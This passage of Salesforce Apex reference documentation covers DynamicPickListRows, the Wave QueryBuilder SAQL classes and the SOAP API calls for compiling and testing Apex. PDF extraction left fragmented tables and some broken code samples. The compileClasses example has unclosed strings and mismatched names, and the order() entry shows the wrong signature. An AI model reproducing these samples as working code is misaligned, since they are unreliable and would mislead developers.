Adds a list of picklist items to a dynamic picklist rendered in a Lightning component on a Lightning page.

**Signature**
```java
public void addAllRows(List<VisualEditor.DataRow> rows)
```

**Parameters**
- **rows**
  - Type: List<VisualEditor.DataRow>
  - List of picklist items.

**Return Value**
- Type: void

**addRow(row)**
Adds a single picklist item to a dynamic picklist rendered in a Lightning component on a Lightning page.

**Signature**
```java
public void addRow(VisualEditor.DataRow row)
```

**Parameters**
- **row**
  - Type: VisualEditor.DataRow
  - A single picklist item.

**Return Value**
- Type: void

**clone()**
Signature

```java
public Object clone()
```

Return Value

Type: Object

**containsAllRows()**

Returns a Boolean value indicating whether all values of the picklist are included when a user does a type-ahead search query (true) or only those values initially displayed when the list is clicked on (false).

Signature

```java
public Boolean containsAllRows()
```

Return Value

Type: Boolean

A picklist in a Lightning component can display only the first 200 values of a list. If `containsAllRows` is set to false, when a user does a type-ahead search to find values in the picklist, the search will only look at those first 200 values that were displayed, not the complete set of picklist values.

**get(i)**

Returns a picklist element stored at the specified index.

Signature

```java
public VisualEditor.DataRow get(Integer i)
```

Parameters

- `i`
  - Type: Integer
  - The index.

Return Value

Type: `VisualEditor.DataRow`

**getDataRows()**

Returns a list of picklist items.

Signature

```java
public List<VisualEditor.DataRow> getDataRows()
```
Return Value
Type: List VisualEditor.DataRow

**setContainsAllRows (containsAllRows)**
Sets the value indicating whether all values of the picklist are included when a user does a type-ahead search query (true) or only those values initially displayed when the list is clicked on (false).

Signature
```
public void setContainsAllRows(Boolean containsAllRows)
```

Parameters
- **containsAllRows**
  Type: Boolean
  Indicates if all values of the picklist are included in a type-ahead search query (true) or only those values initially displayed when the list is clicked on (false).

A picklist in a Lightning component can display only the first 200 values of a list. If `containsAllRows` is set to false, when a user does a type-ahead search to find values in the picklist, the search will only look at those first 200 values that were displayed, not the complete set of picklist values.

Return Value
Type: void

**size()**
Returns the size of the list of VisualEditor.DynamicPickListRows.

Signature
```
public Integer size()
```

Return Value
Type: Integer

**sort()**
Sorts the list of VisualEditor.DynamicPickListRows.

Signature
```
public void sort()
```

Return Value
Type: void
wave Namespace

The classes in the wave namespace are part of the Wave Analytics SDK, designed to facilitate querying Wave data from Apex code. The following are the classes in the wave namespace.

IN THIS SECTION:

QueryBuilder Class
The QueryBuilder class provides methods for constructing well-formed SAQL queries to pass to Wave Analytics.

QueryNode Class
Define each node of the query - such as projection, groups, order, filters. Execute the query.

ProjectionNode Class
Add aggregate functions to the query, or define an alias.

QueryBuilder Class
The QueryBuilder class provides methods for constructing well-formed SAQL queries to pass to Wave Analytics.

Namespace
wave

Usage
Use QueryBuilder and its associated classes, Wave.ProjectionNode and Wave.QueryNode, to incrementally build your SAQL statement. For example:

```java
public static void executeApexQuery(String name){
    Wave.ProjectionNode[] projs = new Wave.ProjectionNode[]{
        Wave.QueryBuilder.get('State').alias('State'),
        Wave.QueryBuilder.get('City').alias('City'),
        Wave.QueryBuilder.get('Revenue').avg().alias('avg_Revenue'),
        Wave.QueryBuilder.get('Revenue').sum().alias('sum_Revenue'),
        Wave.QueryBuilder.count().alias('count');
    }
    ConnectApi.LiteralJson result = Wave.QueryBuilder.load('0FbD00000004DSzKAM',
    '0FcD00000004FEZKA2').group(new String[]{'State', 'City'}).foreach(projs).execute('q');
    String response = result.json;
}
```

Examples
QueryBuilder is the core of this first phase of the Wave Apex SDK, so let’s take a closer look. Here’s a simple count query.

```java
```
String query = Wave.QueryBuilder.load('datasetId', 'datasetVersionId').group().foreach(projs).build('q');

The resulting SAQL query looks like this:

\[
q = \text{load } "\text{datasetId/datasetVersionId}"; \\
q = \text{group } q \text{ by all}; \\
q = \text{foreach } q \text{ generate count as } c;
\]

Here's a more complex example that uses a union statement.

Wave.ProjectionNode[] projs = new Wave.ProjectionNode[] {
Wave.QueryBuilder.get('Name'),
Wave.QueryBuilder.get('AnnualRevenue').alias('Revenue')};
Wave.QueryNode nodeOne = Wave.QueryBuilder.load('datasetOne','datasetVersionOne').foreach(projs);
Wave.QueryNode nodeTwo = Wave.QueryBuilder.load('datasetTwo', 'datasetVersionTwo').foreach(projs);
String query = Wave.QueryBuilder.union(nodeOne, nodeTwo).build('q');

The resulting SAQL query has two projection streams, qa and qb.

\[
qa = \text{load } "\text{datasetOne/datasetVersionOne}"; \\
qa = \text{foreach } q \text{ generate Name,AnnualRevenue as Revenue}; \\
qb = \text{load } "\text{datasetTwo/datasetVersionTwo}"; \\
qb = \text{foreach } q \text{ generate Name,AnnualRevenue as Revenue}; \\
q = \text{union } qa, \text{ qb};
\]

IN THIS SECTION:
QueryBuilder Methods

**QueryBuilder Methods**

The following are methods for QueryBuilder.

IN THIS SECTION:

- **load(datasetID, datasetVersionID)**
  Load a stream from a dataset.
- **count()**
  Calculate the number of rows that match the query criteria.
- **get(projection)**
  Query by selecting specific attributes.
- **union(unionNodes)**
  Combine multiple result sets into one result set.
- **cogroup(cogroupNodes, groups)**
  Cogrouping means that two input streams are grouped independently and arranged side by side. Only data that exists in both groups appears in the results.
load(datasetID, datasetVersionID)
Load a stream from a dataset.

Signature
public static wave.QueryNode load(String datasetID, String datasetVersionID)

Parameters
- **datasetID**
  Type: String
  The ID of the dataset.
- **datasetVersionID**
  Type: String
  The ID identifying the version of the dataset.

Return Value
Type: wave.QueryNode

count()
Calculate the number of rows that match the query criteria.

Signature
public static wave.ProjectionNode count()

Return Value
Type: wave.ProjectionNode

get(projection)
Query by selecting specific attributes.

Signature
public static wave.ProjectionNode get(String proj)

Parameters
- **proj**
  Type: String
  The name of the column to query.

Return Value
Type: wave.ProjectionNode
**union (unionNodes)**

Combine multiple result sets into one result set.

**Signature**

```java
global static Wave.QueryNode union(List<Wave.QueryNode> unionNodes)
```

**Parameters**

- **unionNodes**
  
  Type: List<Wave.QueryNode>

  List of nodes to combine.

**Return Value**

Type: Wave.QueryNode

---

**cogroup (cogroupNodes, groups)**

Cogrouping means that two input streams are grouped independently and arranged side by side. Only data that exists in both groups appears in the results.

**Signature**

```java
global static Wave.QueryNode cogroup(List<Wave.QueryNode> cogroupNodes, List<List<String>> groups)
```

**Parameters**

- **cogroupNodes**
  
  Type: Wave.QueryNode

  List of nodes to group.

- **groups**
  
  Type: String

  The type of grouping.

**Return Value**

Type: Wave.QueryNode

---

**QueryNode Class**

Define each node of the query - such as projection, groups, order, filters. Execute the query.

**Namespace**

wave
Usage
Refer to the QueryBuilder example.

IN THIS SECTION:
QueryNode Methods

QueryNode Methods
The following are methods for QueryNode.

IN THIS SECTION:
build(streamName)
Build the query string represented by this QueryNode and assign it to a stream name.

foreach(projections)
Applies a set of expressions to every row in a dataset. This action is often referred to as projection.

group(groups)
Groups matched records (group by specific dataset attributes).

group()
Groups matched records (group by all).

order(orders)
Sorts in ascending or descending order on one or more fields.

cap(cap)
Limits the number of results that are returned.

filter(filterCondition)
Selects rows from a dataset based on a filter condition (a predicate).

filter(filterConditions)
Selects rows from a dataset based on multiple filter conditions (predicates).

execute(streamName)
Execute the query and return rows as JSON.

build(streamName)
Build the query string represented by this QueryNode and assign it to a stream name.

Signature
public String build(String streamName)

Parameters
streamName
Type: String
The identifier for the stream - for example, “q”.

3708
Return Value
Type: String
The SAQL query string represented by the QueryNode.

**foreach(projections)**
Applies a set of expressions to every row in a dataset. This action is often referred to as projection.

Signature

```java
public wave.QueryNode foreach(List<wave.ProjectionNode> projections)
```

Parameters

- **projections**
  Type: List<wave.ProjectionNode>
  A list of ProjectionNodes to be added to this QueryNode.

Return Value
Type: wave.QueryNode

**group(groups)**
Groups matched records (group by specific dataset attributes).

Signature

```java
public wave.QueryNode group(List<String> groups)
```

Parameters

- **groups**
  Type: List<String>
  A list of expressions.

Return Value
Type: wave.QueryNode

Example

```java
Wave.ProjectionNode[] projs = new Wave.ProjectionNode[]{Wave.QueryBuilder.get('Name'),
  Wave.QueryBuilder.get('Revenue').sum().alias('REVENUE_SUM')};
ConnectApi.LiteralJson result = Wave.QueryBuilder.load('datasetId',
  'datasetVersionId').group(new String[]{Name}).foreach(projs).build('q');
```
group()
Groups matched records (group by all).

Signature
public wave.QueryNode group()

Return Value
Type: wave.QueryNode

Example
String query = Wave.QueryBuilder.load('datasetId', 'datasetVersionId').group().foreach(projs).build('q');

order(orders)
Sorts in ascending or descending order on one or more fields.

Signature
public wave.QueryNode group(List<String> groups)

Parameters

groups
Type: List<String>
A list of column names and associated ascending or descending keywords, for example
List<List<String>>{new List<String>{'Name', 'asc'}, new List<String>{'Revenue', 'desc'}}

Return Value
Type: wave.QueryNode

cap(cap)
Limits the number of results that are returned.

Signature
global Wave.QueryNode cap(Integer cap)

Parameters
cap
Type: Integer
The maximum number of rows to return.
Return Value
Type: wave.QueryNode

**filter(filterCondition)**
Selects rows from a dataset based on a filter condition (a predicate).

Signature
```
public wave.QueryNode filter(String filterCondition)
```

Parameters
- **filterCondition**
  - Type: String
  - For example: `filter('Name != 'My Name')`

Return Value
Type: wave.QueryNode

**filter(filterConditions)**
Selects rows from a dataset based on multiple filter conditions (predicates).

Signature
```
public wave.QueryNode filter(List<String> filterCondition)
```

Parameters
- **filterCondition**
  - Type: List<String>
  - A list of filter conditions.

Return Value
Type: wave.QueryNode

**execute(streamName)**
Execute the query and return rows as JSON.

Signature
```
global ConnectApi.LiteralJson execute(String streamName)
```
Parameters

streamName
Type: String
The query stream to execute. For example:

```java
ConnectApi.LiteralJson result = Wave.QueryBuilder.load('datasetId',
    'datasetVersionId').group().foreach(projs).execute('q');
```

Return Value
Type: ConnectApi.LiteralJson

**ProjectionNode Class**

Add aggregate functions to the query, or define an alias.

**Namespace**

wave on page 3704

**Usage**

Refer to the QueryBuilder example.

**IN THIS SECTION:**

ProjectionNode Methods

**ProjectionNode Methods**

The following are methods for ProjectionNode.

**IN THIS SECTION:**

- `sum()`: Returns the sum of a numeric field.
- `avg()`: Returns the average value of a numeric field.
- `min()`: Returns the minimum value of a field.
- `max()`: Returns the maximum value of a field.
- `count()`: Returns the number of rows that match the query criteria.
- `unique()`: Returns the count of unique values.
alias(name)
Define output column names.

sum()
Returns the sum of a numeric field.

Signature
public wave.ProjectionNode sum()

Return Value
Type: wave.ProjectionNode

avg()
Returns the average value of a numeric field.

Signature
public wave.ProjectionNode avg()

Return Value
Type: wave.ProjectionNode

min()
Returns the minimum value of a field.

Signature
public wave.ProjectionNode min()

Return Value
Type: wave.ProjectionNode

max()
Returns the maximum value of a field.

Signature
public wave.ProjectionNode max()

Return Value
Type: wave.ProjectionNode
count()
Returns the number of rows that match the query criteria.

Signature
```
public wave.ProjectionNode count()
```

Return Value
Type: `wave.ProjectionNode`

unique()
Returns the count of unique values.

Signature
```
public wave.ProjectionNode unique()
```

Return Value
Type: `wave.ProjectionNode`

alias(name)
 Define output column names.

Signature
```
public wave.ProjectionNode alias(String name)
```

Parameters

name
Type: `String`
The name to use for this column. For example, this code defines the alias `c`:

```
Wave.ProjectionNode[] projs = new
Wave.ProjectionNode[](Wave.QueryBuilder.count().alias('c'));
```

Return Value
Type: `wave.ProjectionNode`

Appendices

IN THIS SECTION:

  SOAP API and SOAP Headers for Apex
SOAP API and SOAP Headers for Apex

This appendix details the SOAP API calls and objects that are available by default for Apex.

**Note:** Apex class methods can be exposed as custom SOAP Web service calls. This allows an external application to invoke an Apex Web service to perform an action in Salesforce. Use the `webservice` keyword to define these methods. For more information, see [Considerations for Using the `webservice` Keyword](#) on page 281.

Any Apex code saved using SOAP API calls uses the same version of SOAP API as the endpoint of the request. For example, if you want to use SOAP API version 51.0, use endpoint 51.0:

```
https://yourInstance.salesforce.com/services/Soap/s/51.0
```

For information on all other SOAP API calls, including those that can be used to extend or implement any existing Apex IDEs, contact your Salesforce representative.

The following API objects are available:
- `ApexTestQueueItem`
- `ApexTestResult`
- `ApexTestResultLimits`
- `ApexTestRunResult`

The following are SOAP API calls:
- `compileAndTest()`
- `compileClasses()`
- `compileTriggers()`
- `executeAnonymous()`
- `runTests()`

The following SOAP headers are available in SOAP API calls for Apex:
- `DebuggingHeader`
- `PackageVersionHeader`

Also see the *Metadata API Developer Guide* for two additional calls:
- `deploy()`
- `retrieve()`

IN THIS SECTION:

1. **ApexTestQueueItem**
   - Represents a single Apex class in the Apex job queue. This object is available in API version 23.0 and later.
2. **ApexTestResult**
   Represents the result of an Apex test method execution. This object is available in API version 23.0 and later.

3. **ApexTestResultLimits**
   Captures the Apex test limits used for a particular test method execution. An instance of this object is associated with each ApexTestResult record. This object is available in API version 37.0 and later.

4. **ApexTestRunResult**
   Contains summary information about all the test methods that were run in a particular Apex job. This object is available in API version 37.0 and later.

5. **compileAndTest()**
6. **compileClasses()**
7. **compileTriggers()**
8. **executeAnonymous()**
9. **runTests()**
10. **DebuggingHeader**
    Return the debug log in the output header, `DebuggingInfo`, and specify the level of detail in the debug log.
11. **PackageVersionHeader**

**ApexTestQueueItem**

Represents a single Apex class in the Apex job queue. This object is available in API version 23.0 and later.

This object is available in API version 23.0 and later.

**Supported Calls**

create(), describeSObjects(), query(), retrieve(), update(), upsert()

**Special Access Rules**

The `enableApexTestReqViewSetup` field on the ApexSettings metadata type controls the activation of the critical update "Require View Setup permission to access Apex test data". In API version 49.0 and later, when the field is set to `true`, users must have the View Setup and Configuration permission to access this object.

**Fields**

<table>
<thead>
<tr>
<th>Field Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ApexClassId</td>
<td>Type reference&lt;br&gt;Properties Create, Filter, Group, Sort&lt;br&gt;Description The Apex class whose tests are to be executed.</td>
</tr>
<tr>
<td>Field Name</td>
<td>Description</td>
</tr>
<tr>
<td>------------</td>
<td>-------------</td>
</tr>
</tbody>
</table>
| ExtendedStatus | **Type** string  
**Properties** Filter, Nillable, Sort  
**Description** The pass rate of the test run.  
For example: “(4/6)”. This means that four out of a total of six tests passed.  
If the class fails to execute, this field contains the cause of the failure. |
| ParentJobId | **Type** reference  
**Properties** Filter, Group, Nillable, Sort  
**Description** Points to the AsyncApexJob that represents the entire test run.  
If you insert multiple Apex test queue items in a single bulk operation, the queue items share the same parent job. This means that a test run can consist of the execution of the tests of several classes if all the test queue items are inserted in the same bulk operation. |
| ShouldSkipCodeCoverage | **Type** boolean  
**Properties** Create, Defaulted on create, Filter, Group, Sort, Update  
**Description** Indicates whether to opt out of collecting code coverage information during Apex test runs. Available in API version 43.0 and later. |
| Status | **Type** picklist  
**Properties** Filter, Group, Restricted picklist, Sort, Update  
**Description** The status of the job. Valid values are:  
- Holding  
- Queued  
- Preparing  
- Processing  
- Aborted  
- Completed |
Failed

1 This status applies to batch jobs in the Apex flex queue.

TestRunResultId

Type reference

Properties Filter, Group, Nillable, Sort

Description The ID of the associated ApexTestRunResult object.

Usage

Insert an ApexTestQueueItem object to place its corresponding Apex class in the Apex job queue for execution. The Apex job executes the test methods in the class.

To abort a class that is in the Apex job queue, perform an update operation on the ApexTestQueueItem object and set its Status field to Aborted.

If you insert multiple Apex test queue items in a single bulk operation, the queue items share the same parent job. This means that a test run can consist of the execution of the tests of several classes if all the test queue items are inserted in the same bulk operation.

ApexTestResult

Represents the result of an Apex test method execution. This object is available in API version 23.0 and later.

Supported Calls create(), delete(), describeSObjects(), query(), retrieve(), update(), upsert()

Special Access Rules

The enableApexTestReqViewSetup field on the ApexSettings metadata type controls the activation of the critical update “Require View Setup permission to access Apex test data”. In API version 49.0 and later, when the field is set to true, users must have the View Setup and Configuration permission to access this object.

|                   | **Properties**
|                   | Create, Filter, Group, Nillable, Sort, Update |
|                   | **Description**
|                   | The time it took the test method to run, in milliseconds. |
| StackTrace        | **Type**
|                   | string |
|                   | **Properties**
|                   | Create, Filter, Nillable, Sort, Update |
|                   | **Description**
|                   | The Apex stack trace if the test failed; otherwise, `null`. |
| TestTimestamp     | **Type**
|                   | dateTime |
|                   | **Properties**
|                   | Create, Filter, Sort, Update |
|                   | **Description**
|                   | The start time of the test method. |
Usage

You can query the fields of the ApexTestResult record that corresponds to a test method executed as part of an Apex class execution.

Each test method execution is represented by a single ApexTestResult record. For example, if an Apex test class contains six test methods, six ApexTestResult records are created. These records are in addition to the ApexTestQueueItem record that represents the Apex class.

Each ApexTestResult record has an associated ApexTestResultLimits on page 3721 record, which captures the Apex limits used during execution of the test method.

ApexTestResultLimits

Captures the Apex test limits used for a particular test method execution. An instance of this object is associated with each ApexTestResult record. This object is available in API version 37.0 and later.

Supported Calls

create(), delete(), describeSObjects(), query(), retrieve(), update(), upsert()

Special Access Rules

The enableApexTestReqViewSetup field on the ApexSettings metadata type controls the activation of the critical update “Require View Setup permission to access Apex test data”. In API version 49.0 and later, when the field is set to true, users must have the View Setup and Configuration permission to access this object.

Fields

<table>
<thead>

|             | The number of SOQL queries made during the test run. |
| SOSL        | **Type**  
|             | int  
|             | **Properties**  
|             | Create, Filter, Group, Sort, Update  
|             | **Description**  
|             | The number of SOSL queries made during the test run. |

### Usage

The ApexTestResultLimits object is populated for each test method execution, and it captures the limits used between the Test.startTest() and Test.stopTest() methods. If startTest() and stopTest() aren’t called, limits usage is not captured. Note the following:

- The associated test method must be run asynchronously.
• Limits for asynchronous Apex operations (batch, scheduled, future, and queueable) that are called within test methods are not captured.
• Limits are captured only for the default namespace.

ApexTestRunResult
Contains summary information about all the test methods that were run in a particular Apex job. This object is available in API version 37.0 and later.

Supported Calls
create(), delete(), describeSObjects(), query(), retrieve(), update(), upsert()

Special Access Rules
The enableApexTestReqViewSetup field on the ApexSettings metadata type controls the activation of the critical update “Require View Setup permission to access Apex test data”. In API version 49.0 and later, when the field is set to true, users must have the View Setup and Configuration permission to access this object.

</tbody>
</table>

### compileAndTest()

Compile and test your Apex in a single call.

**Syntax**

```java
CompileAndTestResult[] = compileAndTest(CompileAndTestRequest request);
```

**Usage**

Use this call to both compile and test the Apex you specify with a single call. Production organizations (not a Developer Edition or Sandbox Edition) must use this call instead of `compileClasses()` or `compileTriggers()`.

This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the [SOAP API Developer Guide](#). All specified tests must pass, otherwise data is not saved to the database. If this call is invoked in a production organization, the `RunTestsRequest` property of the `CompileAndTestRequest` is ignored, and all unit tests defined in the organization are run and must pass.

**Sample Code—Java**

Note that the following example sets `checkOnly` to `true` so that this class is compiled and tested, but the classes are not saved to the database.

```java
{
    CompileAndTestRequest request;
    CompileAndTestResult result = null;

    String triggerBody = "trigger t1 on Account (before insert){ " +
        " for(Account a:Trigger.new){ " +
        " a.description = 't1_UPDATE';}" +
        "}"
;

    String testClassBody = "@isTest private class TestT1{ " +
        " // Test for the trigger" +
        " public static testmethod void test1(){ " +
        " Account a = new Account(name='TEST');" +
        " insert(a);" +
        " a = [select id,description from Account where id=:a.id];" +
        " System.assert(a.description.contains('t1_UPDATE'));" +
        " }" +
        " // Test for the class" +
```
"    public static testmethod void test2(){" +
"        String s = C1.method1();" +
"        System.assert(s=='HELLO');" +
"    }" +
"};

String classBody = "public class C1{" +
"    public static String s ='HELLO';" +
"    public static String method1(){" +
"        return(s);" +
"    }" +
"};

request = new CompileAndTestRequest();

request.setClasses(new String[]{classBody, testClassBody});
request.setTriggers(new String[]{triggerBody});
request.setCheckOnly(true);

try {
    result = apexBinding.compileAndTest(request);
} catch (RemoteException e) {
    System.out.println("An unexpected error occurred: " + e.getMessage());
} 
assert (result.isSuccess());

Arguments

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>request</td>
<td>CompileAndTestRequest</td>
<td>A request that includes the Apex and the values for any fields that need to be set for this request.</td>
</tr>
</tbody>
</table>

Response

CompileAndTestResult

IN THIS SECTION:

CompileAndTestRequest

CompileAndTestResult

CompileAndTestRequest

The `compileAndTest()` call contains this object, a request with information about the Apex to be compiled.

A CompileAndTestRequest object has the following properties:
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>checkOnly</td>
<td>boolean</td>
<td>If set to true, the Apex classes and triggers submitted are not saved to your organization, whether or not the code successfully compiles and unit tests pass.</td>
</tr>
<tr>
<td>classes</td>
<td>string</td>
<td>Content of the class or classes to be compiled.</td>
</tr>
<tr>
<td>deleteClasses</td>
<td>string</td>
<td>Name of the class or classes to be deleted.</td>
</tr>
<tr>
<td>deleteTriggers</td>
<td>string</td>
<td>Name of the trigger or triggers to be deleted.</td>
</tr>
<tr>
<td>runTestsRequest</td>
<td>RunTestsRequest</td>
<td>Specifies information about the Apex to be tested. If this request is sent in a production organization, this property is ignored and all unit tests are run for your entire organization.</td>
</tr>
<tr>
<td>triggers</td>
<td>string</td>
<td>Content of the trigger or triggers to be compiled.</td>
</tr>
</tbody>
</table>

Note the following about this object:

- This object contains the `RunTestsRequest` property. If the request is run in a production organization, the property is ignored and all tests are run.
- If any errors occur during compile, delete, testing, or if the goal of 75% code coverage is missed, no classes or triggers are saved to your organization. This is the same requirement as Salesforce AppExchange package testing.
- All triggers must have code coverage. If a trigger has no code coverage, no classes or triggers are saved to your organization.

**CompileAndTestResult**

The `compileAndTest()` call returns information about the compile and unit test run of the specified Apex, including whether it succeeded or failed.

A `CompileAndTestResult` object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>classes</td>
<td>CompileClassResult</td>
<td>Information about the success or failure of the <code>compileAndTest()</code> call if classes were being compiled.</td>
</tr>
<tr>
<td>deleteClasses</td>
<td>DeleteApexResult</td>
<td>Information about the success or failure of the <code>compileAndTest()</code> call if classes were being deleted.</td>
</tr>
<tr>
<td>deleteTriggers</td>
<td>DeleteApexResult</td>
<td>Information about the success or failure of the <code>compileAndTest()</code> call if triggers were being deleted.</td>
</tr>
<tr>
<td>runTestsResult</td>
<td>RunTestsResult</td>
<td>Information about the success or failure of the Apex unit tests, if any were specified.</td>
</tr>
<tr>
<td>success</td>
<td>boolean*</td>
<td>If true, all of the classes, triggers, and unit tests specified ran successfully. If any class, trigger, or unit test failed, the value is false, and details are reported in the corresponding result object:</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• CompileClassResult</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• CompileTriggerResult</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• DeleteApexResult</td>
</tr>
<tr>
<td>Name</td>
<td>Type</td>
<td>Description</td>
</tr>
<tr>
<td>------------</td>
<td>--------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>RunTestsResult</td>
<td></td>
<td>Information about the success or failure of the compileAndTest() call if triggers were being compiled.</td>
</tr>
<tr>
<td>triggers</td>
<td>CompileTriggerResult</td>
<td></td>
</tr>
</tbody>
</table>

* Link goes to the SOAP API Developer Guide.

**CompileClassResult**

This object is returned as part of a compileAndTest() or compileClasses() call. It contains information about whether or not the compile and run of the specified Apex was successful.

A CompileClassResult object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>bodyCrc</td>
<td>int*</td>
<td>The CRC (cyclic redundancy check) of the class or trigger file.</td>
</tr>
<tr>
<td>column</td>
<td>int*</td>
<td>The column number where an error occurred, if one did.</td>
</tr>
<tr>
<td>id</td>
<td>ID*</td>
<td>An ID is created for each compiled class. The ID is unique within an organization.</td>
</tr>
<tr>
<td>line</td>
<td>int*</td>
<td>The line number where an error occurred, if one did.</td>
</tr>
<tr>
<td>name</td>
<td>string*</td>
<td>The name of the class.</td>
</tr>
<tr>
<td>problem</td>
<td>string*</td>
<td>The description of the problem if an error occurred.</td>
</tr>
<tr>
<td>success</td>
<td>boolean*</td>
<td>If true, the class or classes compiled successfully. If false, problems are specified in other properties of this object.</td>
</tr>
</tbody>
</table>

* Link goes to the SOAP API Developer Guide.

**CompileTriggerResult**

This object is returned as part of a compileAndTest() or compileTriggers() call. It contains information about whether or not the compile and run of the specified Apex was successful.

A CompileTriggerResult object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>bodyCrc</td>
<td>int*</td>
<td>The CRC (cyclic redundancy check) of the trigger file.</td>
</tr>
<tr>
<td>column</td>
<td>int*</td>
<td>The column where an error occurred, if one did.</td>
</tr>
<tr>
<td>id</td>
<td>ID*</td>
<td>An ID is created for each compiled trigger. The ID is unique within an organization.</td>
</tr>
<tr>
<td>line</td>
<td>int*</td>
<td>The line number where an error occurred, if one did.</td>
</tr>
<tr>
<td>name</td>
<td>string*</td>
<td>The name of the trigger.</td>
</tr>
</tbody>
</table>
**DeleteApexResult**

This object is returned when the `compileAndTest()` call returns information about the deletion of a class or trigger.

A `DeleteApexResult` object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>ID*</td>
<td>ID of the deleted trigger or class. The ID is unique within an organization.</td>
</tr>
<tr>
<td>problem</td>
<td>string*</td>
<td>The description of the problem if an error occurred.</td>
</tr>
<tr>
<td>success</td>
<td>boolean*</td>
<td>If true, all the specified classes or triggers were deleted successfully.</td>
</tr>
</tbody>
</table>

* Link goes to the SOAP API Developer Guide.

**compileClasses()**

Compile your Apex in Developer Edition or sandbox organizations.

**Syntax**

```java
CompileClassResult[] = compileClasses(string[] classList);
```

**Usage**

Use this call to compile Apex classes in Developer Edition or sandbox organizations. Production organizations must use `compileAndTest()`.

This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the SOAP API Developer Guide.

**Sample Code—Java**

```java
public void compileClassesSample() {
    String pl = "public class pl {
             + "public static Integer vari = 0;\n" + "public static void methodA() {\n" + " vari1 = 1;\n" + "})\n" + "public static void methodB() {\n"
```
String p2 = "public class p2 {
    public static Integer var1 = 0;
    public static void methodA() {
        var1 = 1;
    }
    public static void methodB() {
        p1.MethodA();
    }
};

CompileClassResult[] r = new CompileClassResult[0];
try {
    r = apexBinding.compileClasses(new String[]{p1, p2});
} catch (RemoteException e) {
    System.out.println("An unexpected error occurred: 
        + e.getMessage());
}
if (!r[0].isSuccess()) {
    System.out.println("Couldn't compile class p1 because:
        + r[0].getProblem());
}
if (!r[1].isSuccess()) {
    System.out.println("Couldn't compile class p2 because:
        + r[1].getProblem());
}
}

Arguments

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>scripts</td>
<td>string*</td>
<td>A request that includes the Apex classes and the values for any fields that need to be set for this request.</td>
</tr>
</tbody>
</table>

* Link goes to the SOAP API Developer Guide.

Response

CompileClassResult

compileTriggers()

Compile your Apex triggers in Developer Edition or sandbox organizations.

Syntax

CompileTriggerResult[] = compileTriggers(string[] triggerList);
**Usage**

Use this call to compile the specified Apex triggers in your Developer Edition or sandbox organization. Production organizations must use `compileAndTest()`.

This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the SOAP API Developer Guide.

**Arguments**

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>scripts</td>
<td>string*</td>
<td>A request that includes the Apex trigger or triggers and the values for any fields that need to be set for this request.</td>
</tr>
</tbody>
</table>

* Link goes to the SOAP API Developer Guide.

**Response**

`CompileTriggerResult`

**executeanonymous()**

Executes a block of Apex.

**Syntax**

```apex
ExecuteAnonymousResult[] = binding.executeanonymous(string apexcode);
```

**Usage**

Use this call to execute an anonymous block of Apex. This call can be executed from AJAX.

This call supports the API DebuggingHeader and SessionHeader.

If a component in a package with restricted API access issues this call, the request is blocked.

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

**Arguments**

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>apexcode</td>
<td>string*</td>
<td>A block of Apex.</td>
</tr>
</tbody>
</table>

Response

ExecuteAnonymousResult[]

IN THIS SECTION:

ExecuteAnonymousResult

ExecuteAnonymousResult

The executeanonymous() call returns information about whether or not the compile and run of the code was successful.

An ExecuteAnonymousResult object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>column</td>
<td>int*</td>
<td>If compiled is False, this field contains the column number of the point where the compile failed.</td>
</tr>
<tr>
<td>compileProblem</td>
<td>string*</td>
<td>If compiled is False, this field contains a description of the problem that caused the compile to fail.</td>
</tr>
<tr>
<td>compiled</td>
<td>boolean*</td>
<td>If True, the code was successfully compiled. If False, the column, line, and compileProblem fields are not null.</td>
</tr>
<tr>
<td>exceptionMessage</td>
<td>string*</td>
<td>If success is False, this field contains the exception message for the failure.</td>
</tr>
<tr>
<td>exceptionStackTrace</td>
<td>string*</td>
<td>If success is False, this field contains the stack trace for the failure.</td>
</tr>
<tr>
<td>line</td>
<td>int*</td>
<td>If compiled is False, this field contains the line number of the point where the compile failed.</td>
</tr>
<tr>
<td>success</td>
<td>boolean*</td>
<td>If True, the code was successfully executed. If False, the exceptionMessage and exceptionStackTrace values are not null.</td>
</tr>
</tbody>
</table>

* Link goes to the SOAP API Developer Guide.

runTests()

Run your Apex unit tests.

Syntax

```java
RunTestsResult[] = binding.runTests(RunTestsRequest request);
```

Usage

To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, and send no emails. Such methods are flagged with the @isTest annotation in the method definition. Unit test methods must be defined in test classes, that is, classes annotated with @isTest. Use this call to run your Apex unit tests.
This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the SOAP API Developer Guide.

